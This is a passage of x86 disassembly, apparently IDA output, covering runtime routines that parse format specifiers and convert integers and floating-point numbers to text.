		jnz	short loc_404652
		mov	eax, edi
		dec	eax


loc_404652:				; CODE XREF: sub_404634+19j
		pop	edi
		retn
sub_404634	endp


; =============== S U B	R O U T	I N E =======================================



sub_404654	proc near		; CODE XREF: sub_4047F6+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_40466A
		mov	ebx, 1Fh


loc_40466A:				; CODE XREF: sub_404654+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_406188
		cmp	al, 1
		jnz	short loc_404679
		dec	ebx


loc_404679:				; CODE XREF: sub_404654+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_4045AC
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, ds:off_4090F8[edi*4]
		xor	ecx, ecx
		call	sub_4043CC
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404654	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AC	proc near		; CODE XREF: sub_4047F6+1B2p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_402DA8
		pop	esi
		pop	ebx
		retn
sub_4046AC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4046C0	proc near		; CODE XREF: sub_4046CC+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_4025C8
		pop	ebx
		retn
sub_4046C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046CC	proc near		; CODE XREF: sub_404AE0+2Ap
					; sub_404B34+4Ap ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00404AD0 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF8Ch
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax


loc_4046F5:				; CODE XREF: sub_4046CC+DDj
		or	edx, edx
		jz	short loc_404706


loc_4046F9:				; CODE XREF: sub_4046CC+38j
		cmp	esi, ecx
		jz	short loc_404706
		lodsb
		cmp	al, 25h
		jz	short loc_404710


loc_404702:				; CODE XREF: sub_4046CC+4Bj
		stosb
		dec	edx
		jnz	short loc_4046F9


loc_404706:				; CODE XREF: sub_4046CC+2Bj
					; sub_4046CC+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_404AD0
; ---------------------------------------------------------------------------


loc_404710:				; CODE XREF: sub_4046CC+34j
		cmp	esi, ecx
		jz	short loc_404706
		lodsb
		cmp	al, 25h
		jz	short loc_404702
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx


loc_40471F:				; CODE XREF: sub_4046CC+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_40472B
		cmp	esi, ecx
		jz	short loc_404706
		lodsb


loc_40472B:				; CODE XREF: sub_4046CC+58j
		call	sub_4047AE
		cmp	al, 3Ah
		jnz	short loc_40473E
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_404706
		lodsb
		jmp	short loc_40471F
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_4046CC+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_404754
		cmp	esi, ecx
		jz	short loc_404706
		lodsb
		call	sub_4047AE


loc_404754:				; CODE XREF: sub_4046CC+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_4047F6
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_40476B
		xor	ebx, ebx


loc_40476B:				; CODE XREF: sub_4046CC+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_40477B
		sub	edx, ecx
		jnb	short loc_404779
		add	ecx, edx
		xor	edx, edx


loc_404779:				; CODE XREF: sub_4046CC+A7j
		rep movsb


loc_40477B:				; CODE XREF: sub_4046CC+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_404785
		add	ecx, edx
		xor	edx, edx


loc_404785:				; CODE XREF: sub_4046CC+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_404793
		add	ecx, edx
		xor	edx, edx


loc_404793:				; CODE XREF: sub_4046CC+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_4047A5
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_4046C0
		pop	edx


loc_4047A5:				; CODE XREF: sub_4046CC+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_4046F5
sub_4046CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047AE	proc near		; CODE XREF: sub_4046CC:loc_40472Bp
					; sub_4046CC+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_4047D6


loc_4047B4:				; CODE XREF: sub_4047AE+20j
		cmp	al, 30h
		jb	short locret_4047F5
		cmp	al, 39h
		ja	short locret_4047F5
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_4047D0
		lodsb
		jmp	short loc_4047B4
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_4047AE+1Dj
					; sub_4047AE+44j
		pop	eax
		jmp	loc_404706
; ---------------------------------------------------------------------------


loc_4047D6:				; CODE XREF: sub_4047AE+4j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		ja	short loc_4047F0
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_4047F0
		xor	ebx, ebx


loc_4047F0:				; CODE XREF: sub_4047AE+2Ej
					; sub_4047AE+3Ej
		cmp	esi, ecx
		jz	short loc_4047D0
		lodsb

locret_4047F5:				; CODE XREF: sub_4047AE+8j
					; sub_4047AE+Cj
		retn
sub_4047AE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4047F6	proc near		; CODE XREF: sub_4046CC+90p

; FUNCTION CHUNK AT 0040491E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00404985 SIZE 0000013B BYTES

		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		ja	short loc_404863
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	off_40481D[edx*4]
; ---------------------------------------------------------------------------
off_40481D	dd offset loc_40491E	; DATA XREF: sub_4047F6+20r
		dd offset loc_404861
		dd offset loc_404985
		dd offset loc_404A4B
		dd offset loc_4049B5
		dd offset loc_404A2D
		dd offset loc_404A0D
		dd offset loc_404861
		dd offset loc_404861
		dd offset loc_404861
		dd offset loc_4049C6
		dd offset loc_4049F1
		dd offset loc_404A47
		dd offset loc_404994
		dd offset loc_404861
		dd offset loc_4049CD
		dd offset loc_404878
; ---------------------------------------------------------------------------


loc_404861:				; CODE XREF: sub_4047F6+20j
					; sub_4047F6+9Cj ...
		xor	eax, eax


loc_404863:				; CODE XREF: sub_4047F6+Fj
		call	sub_404AC0
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_404654


loc_404878:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+67o
		lea	ebx, [ebp-30h]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, [eax+4]
		mov	[ebx+4], edx
		cmp	cl, 44h
		jz	short loc_40489B
		cmp	cl, 55h
		jz	short sub_4048B9
		cmp	cl, 58h
		jnz	short loc_404861
		mov	ecx, 10h
		jmp	short loc_4048BE
; ---------------------------------------------------------------------------


loc_40489B:				; CODE XREF: sub_4047F6+92j
		test	dword ptr [ebx+4], 80000000h
		jz	short sub_4048B9
		neg	dword ptr [ebx]
		adc	dword ptr [ebx+4], 0
		neg	dword ptr [ebx+4]
		call	sub_4048B9
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
sub_4047F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4048B9	proc near		; CODE XREF: sub_4047F6+97j
					; sub_4047F6+ACj ...
		mov	ecx, 0Ah


loc_4048BE:				; CODE XREF: sub_4047F6+A3j
		lea	esi, [ebp-51h]


loc_4048C1:				; CODE XREF: sub_4048B9+46j
		push	ebx
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		mov	ebx, [ebp-4]
		call	sub_402E30
		pop	ecx
		pop	ebx
		xchg	eax, edx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_4048E1
		add	dl, 7


loc_4048E1:				; CODE XREF: sub_4048B9+23j
		dec	esi
		mov	[esi], dl
		push	ebx
		push	ecx
		push	0
		push	ecx
		mov	eax, [ebx]
		mov	edx, [ebx+4]
		mov	ebx, [ebp-4]
		call	sub_402DE4
		pop	ecx
		pop	ebx
		mov	[ebx], eax
		mov	[ebx+4], edx
		or	eax, edx
		jnz	short loc_4048C1
		lea	ecx, [ebp-51h]
		sub	ecx, esi
		mov	edx, [ebp-24h]
		cmp	edx, 10h
		jbe	short loc_40490F
		retn
; ---------------------------------------------------------------------------


loc_40490F:				; CODE XREF: sub_4048B9+53j
		sub	edx, ecx
		jbe	short locret_40491D
		add	ecx, edx
		mov	al, 30h


loc_404917:				; CODE XREF: sub_4048B9+62j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_404917

locret_40491D:				; CODE XREF: sub_4048B9+58j
		retn
sub_4048B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4047F6


loc_40491E:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6:off_40481Do
		cmp	cl, 44h
		jz	short loc_404938
		cmp	cl, 55h
		jz	short sub_40494A
		cmp	cl, 58h
		jnz	loc_404861
		mov	ecx, 10h
		jmp	short loc_40494F
; ---------------------------------------------------------------------------


loc_404938:				; CODE XREF: sub_4047F6+12Bj
		or	eax, eax
		jns	short sub_40494A
		neg	eax
		call	sub_40494A
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
; END OF FUNCTION CHUNK	FOR sub_4047F6

; =============== S U B	R O U T	I N E =======================================



sub_40494A	proc near		; CODE XREF: sub_4047F6+130j
					; sub_4047F6+144j ...
		mov	ecx, 0Ah


loc_40494F:				; CODE XREF: sub_4047F6+140j
					; sub_4047F6+24Cj
		lea	esi, [ebp-61h]


loc_404952:				; CODE XREF: sub_40494A+1Cj
		xor	edx, edx
		div	ecx
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_404961
		add	dl, 7


loc_404961:				; CODE XREF: sub_40494A+12j
		dec	esi
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_404952
		lea	ecx, [ebp-61h]
		sub	ecx, esi
		mov	edx, [ebp-24h]
		cmp	edx, 10h
		jbe	short loc_404976
		retn
; ---------------------------------------------------------------------------


loc_404976:				; CODE XREF: sub_40494A+29j
		sub	edx, ecx
		jbe	short locret_404984
		add	ecx, edx
		mov	al, 30h


loc_40497E:				; CODE XREF: sub_40494A+38j
		dec	esi
		mov	[esi], al
		dec	edx
		jnz	short loc_40497E

locret_404984:				; CODE XREF: sub_40494A+2Ej
		retn
sub_40494A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4047F6


loc_404985:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+2Fo
		cmp	cl, 53h
		jnz	loc_404861
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------


loc_404994:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+5Bo
		cmp	cl, 53h
		jnz	loc_404861
		cmp	word ptr [eax],	1
		jbe	short loc_4049B2
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_4046AC
		mov	esi, [ebp-10h]
		jmp	short loc_4049FC
; ---------------------------------------------------------------------------


loc_4049B2:				; CODE XREF: sub_4047F6+1ABj
					; sub_4047F6+208j
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------


loc_4049B5:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+37o
		cmp	cl, 53h
		jnz	loc_404861
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_404A03
; ---------------------------------------------------------------------------


loc_4049C6:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+4Fo
		mov	esi, offset loc_4027CC
		jmp	short loc_4049D2
; ---------------------------------------------------------------------------


loc_4049CD:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+63o
		mov	esi, offset loc_40282C


loc_4049D2:				; CODE XREF: sub_4047F6+1D5j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_404861
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_4049FC
; ---------------------------------------------------------------------------


loc_4049F1:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+53o
		cmp	cl, 53h
		jnz	loc_404861
		mov	esi, eax


loc_4049FC:				; CODE XREF: sub_4047F6+1BAj
					; sub_4047F6+1F9j
		or	esi, esi
		jz	short loc_4049B2
		mov	ecx, [esi-4]


loc_404A03:				; CODE XREF: sub_4047F6+1CEj
		cmp	ecx, [ebp-24h]
		ja	short loc_404A09
		retn
; ---------------------------------------------------------------------------


loc_404A09:				; CODE XREF: sub_4047F6+210j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------


loc_404A0D:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+3Fo
		cmp	cl, 53h
		jnz	loc_404861
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_404A27
		repne scasb
		jnz	short loc_404A27
		dec	edi


loc_404A27:				; CODE XREF: sub_4047F6+22Aj
					; sub_4047F6+22Ej
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_404A2D:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+3Bo
		cmp	cl, 50h
		jnz	loc_404861
		mov	dword ptr [ebp-24h], 8
		mov	ecx, 10h
		jmp	loc_40494F
; ---------------------------------------------------------------------------


loc_404A47:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+57o
		mov	bh, 1
		jmp	short loc_404A4D
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_4047F6+20j
					; DATA XREF: sub_4047F6+33o
		mov	bh, 0


loc_404A4D:				; CODE XREF: sub_4047F6+253j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_404A95
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_404A95
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_404A76
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_404A76
		cmp	cl, 4Dh
		jnz	loc_404861
		mov	bl, 4


loc_404A76:				; CODE XREF: sub_4047F6+26Cj
					; sub_4047F6+273j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_404AA7
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_404AA7
		movzx	edx, ds:byte_40A6B8
		jmp	short loc_404AA7
; ---------------------------------------------------------------------------


loc_404A95:				; CODE XREF: sub_4047F6+25Ej
					; sub_4047F6+265j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_404AA7
		mov	eax, 0Fh


loc_404AA7:				; CODE XREF: sub_4047F6+28Aj
					; sub_4047F6+294j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-71h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_404C38
		mov	ecx, eax
		lea	esi, [ebp-71h]
		retn
; END OF FUNCTION CHUNK	FOR sub_4047F6

; =============== S U B	R O U T	I N E =======================================



sub_404AC0	proc near		; CODE XREF: sub_4047F6:loc_404863p
					; sub_4046CC:loc_404AD0p
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_4025C8
		pop	eax
		pop	ebx
		retn
sub_404AC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4046CC


loc_404AD0:				; CODE XREF: sub_4046CC+3Fj
		call	sub_404AC0
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4046CC
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404AE0	proc near		; CODE XREF: CODE:00405811p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_404B17
		test	esi, esi
		jz	short loc_404B17
		mov	eax, esi
		call	sub_404594
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_4046CC
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_404B19
; ---------------------------------------------------------------------------


loc_404B17:				; CODE XREF: sub_404AE0+Ej
					; sub_404AE0+12j
		xor	eax, eax


loc_404B19:				; CODE XREF: sub_404AE0+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_404AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B20	proc near		; CODE XREF: sub_405924+34p
					; sub_4059E0+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_404B34
		pop	ebp
		retn	4
sub_404B20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B34	proc near		; CODE XREF: sub_404B20+Ap

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	ebx, 1000h
		mov	eax, [ebp+var_4]
		call	sub_402840
		cmp	eax, 0C00h
		jge	short loc_404B85
		mov	eax, [ebp+var_4]
		call	sub_402840
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_1008]
		mov	edx, 0FFFh
		call	sub_4046CC
		jmp	short loc_404B91
; ---------------------------------------------------------------------------


loc_404B85:				; CODE XREF: sub_404B34+29j
		mov	eax, [ebp+var_4]
		call	sub_402840
		mov	ebx, eax
		mov	eax, ebx


loc_404B91:				; CODE XREF: sub_404B34+4Fj
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jl	short loc_404BDB
		jmp	short loc_404BCA
; ---------------------------------------------------------------------------


loc_404B9A:				; CODE XREF: sub_404B34+9Bj
		add	ebx, ebx
		mov	eax, esi
		call	sub_4025C8
		mov	eax, esi
		mov	edx, ebx
		call	sub_402BC0
		mov	eax, [ebp+var_4]
		call	sub_402840
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [esi]
		call	sub_4046CC


loc_404BCA:				; CODE XREF: sub_404B34+64j
		mov	edx, ebx
		dec	edx
		cmp	eax, edx
		jge	short loc_404B9A
		mov	edx, esi
		xchg	eax, edx
		call	sub_402BC0
		jmp	short loc_404BE9
; ---------------------------------------------------------------------------


loc_404BDB:				; CODE XREF: sub_404B34+62j
		lea	edx, [ebp+var_1008]
		mov	ecx, esi
		xchg	eax, ecx
		call	sub_4026B4


loc_404BE9:				; CODE XREF: sub_404B34+A5j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_404B34	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404BF4	proc near		; CODE XREF: sub_404D41+8Fp
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_404C00
		xor	edx, edx
		jmp	short loc_404C0A
; ---------------------------------------------------------------------------


loc_404C00:				; CODE XREF: sub_404BF4+6j
		or	edx, edx
		jge	short loc_404C0A
		mov	al, 2Dh
		neg	edx
		jmp	short loc_404C10
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BF4+Aj
					; sub_404BF4+Ej
		or	ah, ah
		jz	short loc_404C11
		mov	al, ah


loc_404C10:				; CODE XREF: sub_404BF4+14j
		stosb


loc_404C11:				; CODE XREF: sub_404BF4+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp


loc_404C15:				; CODE XREF: sub_404BF4+32j
					; sub_404BF4+36j
		xor	edx, edx
		div	ds:flt_40910C[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_404C15
		or	ecx, ecx
		jg	short loc_404C15


loc_404C2C:				; CODE XREF: sub_404BF4+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_404C2C
		pop	eax
		pop	esi
		retn
sub_404BF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C38	proc near		; CODE XREF: sub_4047F6+2BFp

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 00404F07 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_40A6B7
		mov	[ebp+var_5], al
		mov	al, ds:byte_40A6B6
		mov	[ebp+var_6], al
		mov	eax, ds:dword_40A6B0
		mov	[ebp+var_C], eax
		mov	al, ds:byte_40A6B4
		mov	[ebp+var_D], al
		mov	al, ds:byte_40A6B5
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_404C94
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_404C8A
		mov	eax, 2


loc_404C8A:				; CODE XREF: sub_404C38+4Bj
		cmp	eax, 12h
		jle	short loc_404C94
		mov	eax, 12h


loc_404C94:				; CODE XREF: sub_404C38+43j
					; sub_404C38+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_404CA6
		mov	eax, [ebp+arg_0]


loc_404CA6:				; CODE XREF: sub_404C38+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_404F10
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_404CDA
		mov	ecx, eax
		call	sub_404D37
		lea	esi, dword_404D28[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_404D07
; ---------------------------------------------------------------------------


loc_404CDA:				; CODE XREF: sub_404C38+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_404CF6
		cmp	bl, 4
		ja	short loc_404CF4
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_404CF6


loc_404CF4:				; CODE XREF: sub_404C38+B1j
		mov	bl, 0


loc_404CF6:				; CODE XREF: sub_404C38+ACj
					; sub_404C38+BAj
		lea	ebx, off_404D14[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx


loc_404D07:				; CODE XREF: sub_404C38+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_404F07
sub_404C38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_404D14	dd offset sub_404D41	; DATA XREF: sub_404C38:loc_404CF6o
		dd offset loc_404D9F
		dd offset sub_404DD6
		dd offset sub_404DD6
		dd offset sub_404E40
dword_404D28	dd 4E464E49h	; ---------------------------------------------------------------------------
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_404D2E	proc near		; CODE XREF: sub_404D41+63p
					; sub_404D41:loc_404DB2p ...
		lodsb
		or	al, al
		jnz	short locret_404D36
		mov	al, 30h
		dec	esi

locret_404D36:				; CODE XREF: sub_404D2E+3j
		retn
sub_404D2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D37	proc near		; CODE XREF: sub_404C38+8Ap
					; sub_404D41p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_404D40
		mov	al, 2Dh
		stosb

locret_404D40:				; CODE XREF: sub_404D37+4j
		retn
sub_404D37	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D41	proc near		; DATA XREF: CODE:off_404D14o
		call	sub_404D37
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_404D6E
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_404D6E
		or	ecx, ecx
		jg	short loc_404D74
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_404D9E
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_404D88
; ---------------------------------------------------------------------------


loc_404D6E:				; CODE XREF: sub_404D41+Ej
					; sub_404D41+13j
		mov	ecx, 1
		inc	edx


loc_404D74:				; CODE XREF: sub_404D41+17j
					; sub_404D41+39j
		lodsb
		or	al, al
		jz	short loc_404D90
		stosb
		loop	loc_404D74
		lodsb
		or	al, al
		jz	short loc_404D94
		mov	ah, al
		mov	al, [ebp-5]
		stosw


loc_404D88:				; CODE XREF: sub_404D41+2Bj
					; sub_404D41+4Dj
		lodsb
		or	al, al
		jz	short loc_404D94
		stosb
		jmp	short loc_404D88
; ---------------------------------------------------------------------------


loc_404D90:				; CODE XREF: sub_404D41+36j
		mov	al, 30h
		rep stosb


loc_404D94:				; CODE XREF: sub_404D41+3Ej
					; sub_404D41+4Aj
		or	edx, edx
		jz	short locret_404D9E
		xor	eax, eax
		xor	ecx, ecx
		jmp	short loc_404DC6
; ---------------------------------------------------------------------------

locret_404D9E:				; CODE XREF: sub_404D41+1Fj
					; sub_404D41+55j
		retn
; ---------------------------------------------------------------------------


loc_404D9F:				; DATA XREF: CODE:00404D18o
		call	sub_404D37
		call	sub_404D2E
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx


loc_404DB2:				; CODE XREF: sub_404D41+77j
		call	sub_404D2E
		stosb
		loop	loc_404DB2
		mov	ah, 2Bh
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jb	short loc_404DC6
		xor	ecx, ecx


loc_404DC6:				; CODE XREF: sub_404D41+5Bj
					; sub_404D41+81j
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_404BF4
		retn
sub_404D41	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DD6	proc near		; DATA XREF: CODE:00404D1Co
					; CODE:00404D20o
		call	sub_404D37


loc_404DDB:				; CODE XREF: sub_404E40:loc_404E89p
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_404DE8
		mov	edx, 12h


loc_404DE8:				; CODE XREF: sub_404DD6+Bj
		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_404DF5
		mov	al, 30h
		stosb
